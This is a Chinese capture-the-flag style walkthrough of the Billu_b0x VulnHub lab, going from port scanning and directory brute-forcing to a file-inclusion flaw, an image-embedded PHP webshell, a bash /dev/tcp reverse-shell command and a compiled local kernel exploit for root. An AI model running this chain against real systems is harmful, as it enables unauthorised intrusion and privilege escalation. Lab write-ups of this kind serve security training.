实战测试 主机NET模式 实验目的:拿到root权限(提示从web应用入手) 项目地址:https://www.vulnhub.com/entry/billu-b0x,188/ 主机发现 1 [emailprotected]:~# arp-scan -l 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [emailp
实战测试
主机NET模式
实验目的:拿到root权限(提示从web应用入手)
项目地址:https://www.vulnhub.com/entry/billu-b0x,188/
主机发现
1
[email protected]:~# arp-scan -l
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[email protected]:~# nmap -T4 -A -v 192.168.67.138
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)
| 2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)
|_ 256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: --==[[IndiShell Lab]]==--
获取权限
提示使用sql注入,第一时间想到post注入(技术不过关),但是无果
爆破目录
1
[email protected]:~# dirb http://192.168.67.138 /usr/share/dirb/wordlists/big.txt
1
2
3
http://192.168.67.138/add #文件上传无回显
http://192.168.67.138/in #phpinfo
http://192.168.67.138/test #提示文件包含
下载源码
get请求无果,post请求
passwd中ica
和root
可以登录ssh
下载c.php发现mysql账号密码
1
2
billu
b0x_billu
登录http://192.168.67.138
发现一个新的上传点
检查文件内容改名无法达到目的,上传图片马
1
copy 1.jpg/b+1.php 2.jpg
进入http://192.168.67.138/uploaded_images/
分析panel.php
发现文件包含
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
反弹shell
进行URL编码
1
echo "bash -i >& /dev/tcp/192.168.67.1/4444 0>&1" | bash
1
2
[email protected]:/var/www$ id`
uid=33(www-data) gid=33(www-data) groups=33(www-data)
提权
1
2
uname -a #查看内核版本
cat /etc/issue #查看系统版本
使用本地提权exp
下载到本地
1
2
chmod 777 37292.c #赋权
gcc 37292.c -o test #编译
执行
1
[email protected]:/tmp$ ./test
到此结束
如有错误请联系[email protected]
原文:大专栏 对于Billu_b0x的测试